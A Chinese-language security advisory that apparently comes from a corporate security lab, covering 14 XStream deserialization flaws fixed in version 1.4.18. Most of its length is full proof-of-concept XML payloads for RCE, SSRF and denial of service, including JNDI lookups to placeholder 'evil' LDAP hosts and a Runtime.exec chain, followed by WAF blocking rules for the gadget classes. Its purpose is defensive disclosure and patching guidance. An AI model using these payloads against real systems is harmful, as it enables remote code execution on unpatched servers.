【漏洞资讯】CVE-2021-39139等 XStream修复14个安全漏洞

漏洞时间;2021年8月23日

 

漏洞介绍

XStream官方发布重要安全更新,修复了14个安全漏洞,其中5个严重漏洞由TSRC向XStream官方报告,通过这些漏洞,攻击者构造特定的XML数据,可以绕过XStream的黑名单拦截,最终仅需依赖JDK库即可触发反序列化造成任意代码执行。目前XStream官方已将1.4.18版本修改成白名单过滤方式,建议大家及时更新到最新版以规避历史安全漏洞。

漏洞名称
XStream修复14个安全漏洞
威胁等级
高危
漏洞威胁
XStream
影响范围
version <= 1.4.17
漏洞类型
RCE&MORE
利用难度
N/A
漏洞编号
CVE-2021-39139等
是否有POC
N/A

 

漏洞跟进

WAF未拦截:

2021年08月23日经过验证,以下漏洞未拦截

机翻:

CVE-2021-39140 拒绝服务 高危

受影响的版本:

如果使用开箱即用的版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。没有用户受到影响,他们遵循建议设置XStream 的安全框架, 并将白名单限制为所需的最少类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。XStream 因此基于这些类型信息创建新实例。攻击者可以操纵处理过的输入流并替换或注入对象,这会导致无限循环,可能导致拒绝服务。

繁殖步骤:

创建一个简单的 TreeSet 并使用 XStream 将其编组为 XML。将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<linked-hash-set>
  <sun.reflect.annotation.AnnotationInvocationHandler serialization='custom'>
    <sun.reflect.annotation.AnnotationInvocationHandler>
      <default>
        <memberValues class='javax.script.SimpleBindings'>
          <map class='javax.script.SimpleBindings' reference='..'/>
        </memberValues>
        <type>javax.xml.transform.Templates</type>
      </default>
    </sun.reflect.annotation.AnnotationInvocationHandler>
  </sun.reflect.annotation.AnnotationInvocationHandler>
</linked-hash-set>
XStream xstream = new XStream();
xstream.fromXML(xml);

一旦 XML 被解组,就会进入一个无限循环,执行线程消耗最大的 CPU 时间并且永远不会返回。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。例如 JSON。

影响:

该漏洞可能允许远程攻击者根据 CPU 类型或此类负载的并行执行在目标系统上分配 100% 的 CPU 时间,从而仅通过操纵处理过的输入流导致拒绝服务。

CVE-2021-39141 任意代码执行 高危

受影响的版本:

如果使用开箱即用的版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。没有用户受到影响,他们遵循建议设置XStream 的安全框架,并将白名单限制为所需的最少类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。XStream 因此基于这些类型信息创建新实例。攻击者可以操纵处理过的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。

繁殖步骤:

创建一个简单的 PriorityQueue 并使用 XStream 将其编组为 XML。将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>javax.naming.InitialContext</class>
                          <name>doLookup</name>
                          <parameter-types>
                            <class>java.lang.String</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <string>ldap://ip:1389/#evil</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);

一旦 XML 被解组,来自远程服务器的代码就会在 XML 被解组后立即执行。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。例如 JSON。

影响:

该漏洞可能允许远程攻击者仅通过操纵处理后的输入流来执行任意代码。

CVE-2021-39144 任意代码执行 高危

受影响的版本:

如果使用开箱即用的版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。没有用户受到影响,他们遵循建议设置XStream 的安全框架,并将白名单限制为所需的最少类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。XStream 因此基于这些类型信息创建新实例。攻击者可以操纵处理过的输入流并替换或注入对象,从而在服务器上执行本地命令。

繁殖步骤:

创建一个简单的 PriorityQueue 并使用 XStream 将其编组为 XML。将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);

一旦 XML 被解组,payload 就会被执行,并且命令会在主机上执行。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。例如 JSON。

影响:

该漏洞可能允许远程攻击者仅通过操纵处理后的输入流,在主机上以进程所有者的权限执行命令。

CVE-2021-39146 任意代码执行 高危

受影响的版本:

如果使用开箱即用的版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。没有用户受到影响,他们遵循建议设置XStream 的安全框架, 并将白名单限制为所需的最少类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。XStream 因此基于这些类型信息创建新实例。攻击者可以操纵处理过的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。

繁殖步骤:

创建一个简单的 TreeSet 并使用 XStream 将其编组为 XML。将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1389/#evil</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);

根据 JDK,一旦 XML 被解组,就会执行来自远程服务器的代码。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。例如 JSON。

影响:

该漏洞可能允许远程攻击者仅通过操纵处理后的输入流来执行任意代码。

CVE-2021-39148 任意代码执行 高危

受影响的版本:

如果使用开箱即用的版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。 没有用户受到影响,他们遵循建议设置 XStream 的安全框架,并将白名单限制为所需的最少类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。 XStream 因此基于这些类型信息创建新实例。 攻击者可以操纵处理后的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。

繁殖步骤:

创建一个简单的 TreeSet 并使用 XStream 将其编组为 XML。 将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'>
                  <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
                    <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
                      <current>
                        <hash>1</hash>
                        <key class='javax.naming.Binding'>
                          <name>ysomap</name>
                          <isRel>false</isRel>
                            <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
                              <refCtx class='javax.naming.spi.ContinuationDirContext'>
                                <cpe>
                                  <stackTrace/>
                                  <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
                                    <c class='list'/>
                                    <list reference='../c'/>
                                  </suppressedExceptions>
                                  <resolvedObj class='javax.naming.Reference'>
                                    <className>EvilObj</className>
                                    <addrs/>
                                    <classFactory>EvilObj</classFactory>
                                    <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                                  </resolvedObj>
                                  <altName class='javax.naming.CompoundName' serialization='custom'>
                                    <javax.naming.CompoundName>
                                      <properties/>
                                      <int>1</int>
                                      <string>ysomap</string>
                                    </javax.naming.CompoundName>
                                  </altName>
                                </cpe>
                              </refCtx>
                              <skipThisReferral>false</skipThisReferral>
                              <hopCount>0</hopCount>
                            </boundObj>
                        </key>
                      </current>
                      <currentBucket>0</currentBucket>
                      <count>0</count>
                      <threshold>0</threshold>
                    </list>
                  </children>
                  <currentReturned>true</currentReturned>
                  <currentChildExpanded>false</currentChildExpanded>
                  <rootProcessed>true</rootProcessed>
                  <scope>2</scope>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);

根据 JDK,一旦 XML 被解组,就会执行来自远程服务器的代码。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。 例如 JSON。

影响:

该漏洞可能允许远程攻击者仅通过操纵处理后的输入流来执行任意代码。

CVE-2021-39152 SSRF漏洞 中危

可以使用 XStream 解组激活服务器端伪造请求,以从引用内部网或本地主机中的资源的任意 URL 访问数据流。

受影响的版本:

如果使用带有 Java 运行时版本 14 到 8 的开箱即用版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。 没有用户受到影响,他们遵循建议设置 XStream 的安全框架,并将白名单限制为最低要求类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。 XStream 因此基于这些类型信息创建新实例。 攻击者可以操纵处理后的输入流并替换或注入对象,从而导致服务器端伪造请求。

繁殖步骤:

创建一个简单的 HashMap 并使用 XStream 将其编组为 XML。 将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<map>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs>GBK</cs>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);

一旦 XML 被解组,就会执行有效负载并收集来自 URL 位置的数据。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。 例如 JSON。

影响:

该漏洞可能允许远程攻击者仅通过操纵处理后的输入流来从非公开可用的内部资源请求数据。

CVE-2021-39154 任意代码执行 高危

受影响的版本:

如果使用开箱即用的版本,则直到并包括版本 1.4.17 的所有版本都会受到影响。没有用户受到影响,他们遵循建议设置XStream 的安全框架,并将白名单限制为所需的最少类型。

说明:

解组时处理的流包含类型信息以重新创建以前编写的对象。XStream 因此基于这些类型信息创建新实例。攻击者可以操纵处理过的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。

繁殖步骤:

创建一个简单的 TreeSet 并使用 XStream 将其编组为 XML。将 XML 替换为以下代码段并再次使用 XStream 对其进行解组:

<sorted-set> 
  <javax.naming.ldap.Rdn_-RdnEntry> 
    <type>ysomap</type> 
    <value class='javax.swing.MultiUIDefaults' serialization='custom'> 
      <unserializable-parents/> 
      <hashtable> 
        <default> 
          <loadFactor>0.75</loadFactor> 
          <threshold>525</threshold> 
        </default> 
        <int>700</int> 
        <int>0</int> 
      </hashtable> 
      <javax.swing.UIDefaults> 
        <default> 
          <defaultLocale>zh_CN</defaultLocale> 
          <resourceCache/>
        </default> 
      </javax.swing.UIDefaults> 
      <javax.swing.MultiUIDefaults>
        <default> 
          <tables> 
            <javax.swing.UIDefaults serialization='custom'> 
              <unserializable-parents/> 
              <hashtable> 
                <default> 
                  <loadFactor>0.75</loadFactor> 
                  <threshold>525</threshold> 
                </default> 
                <int>700</int> 
                <int>1</int> 
                <string>ggg</string> 
                <javax.swing.UIDefaults_-ProxyLazyValue> 
                  <className>javax.naming.InitialContext</className> 
                  <methodName>doLookup</methodName> 
                  <args>
                    <arg>ldap://localhost:1099/CallRemoteMethod</arg> 
                  </args> 
                </javax.swing.UIDefaults_-ProxyLazyValue> 
              </hashtable> 
              <javax.swing.UIDefaults> 
                <default> 
                  <defaultLocale reference='. ./../../../../../../javax.swing.UIDefaults/default/defaultLocale'/> 
                  <resourceCache/> 
                </default> 
              </javax.swing.UIDefaults> 
            </ javax.swing.UIDefaults> 
          </tables> 
        </default> 
      </javax.swing.MultiUIDefaults> 
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry> 
    <type>ysomap</type> 
    <value class='com.sun.org.apache.xpath.internal.objects.XString'> 
      <m__obj class='string'>test </m__obj> 
    </value> 
  </javax.naming.ldap.Rdn_-RdnEntry> 
</sorted-set>
XStream xstream = new XStream(); 
xstream.fromXML(xml);

根据 JDK,只要 XML 被解组或当另一个元素被添加到集合中时,就会执行来自远程服务器的代码。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。例如 JSON。

影响:

该漏洞可能允许远程攻击者仅通过操纵处理后的输入流从远程主机加载和执行任意代码。

#加入waf防御规则,对如下关键类做拦截
1.javax.naming.ldap.Rdn
2.jdk.nashorn.internal.runtime.Source
3.java.util.PriorityQueue serialization=
4.sun.reflect.annotation.AnnotationInvocationHandler

WAF已拦截:

CVE-2021-39139 任意代码执行 高危

CVE-2021-39145 任意代码执行 高危

CVE-2021-39147 任意代码执行 高危

CVE-2021-39149 任意代码执行 高危

CVE-2021-39150 SSRF漏洞 中危

CVE-2021-39151 任意代码执行 高危

CVE-2021-39153 任意代码执行 高危

 

修复方式

安全版本:version = 1.4.18

1) 升级到最新版本-1.4.18

https://x-stream.github.io/news.html

历史上XStream多次出现严重漏洞,仅依赖JDK库绕过黑名单就有多例,依赖第三方库进行绕过黑名单的方法更多,而且新的反序列化攻击链不断被挖掘出来,黑名单不断被绕过,建议务必升级到默认采用白名单过滤方式的最新版本。

2) 低版本的缓解方案

如果由于业务特殊情况无法升级到最新版本,低版本可使用以下缓解方案进行加固

https://x-stream.github.io/security.html#example

参考链接

x-stream.github.io

天师

腾讯威胁情报

阿里云威胁响应

本文原创,作者:Galaxy,其版权均为Galaxy Lab所有。如需转载,请注明出处:http://galaxylab.pingan.com.cn/%e3%80%90%e6%bc%8f%e6%b4%9e%e8%b5%84%e8%ae%af%e3%80%91cve-2021-39139%e7%ad%89-xstream%e4%bf%ae%e5%a4%8d14%e4%b8%aa%e5%ae%89%e5%85%a8%e6%bc%8f%e6%b4%9e/

发表评论

*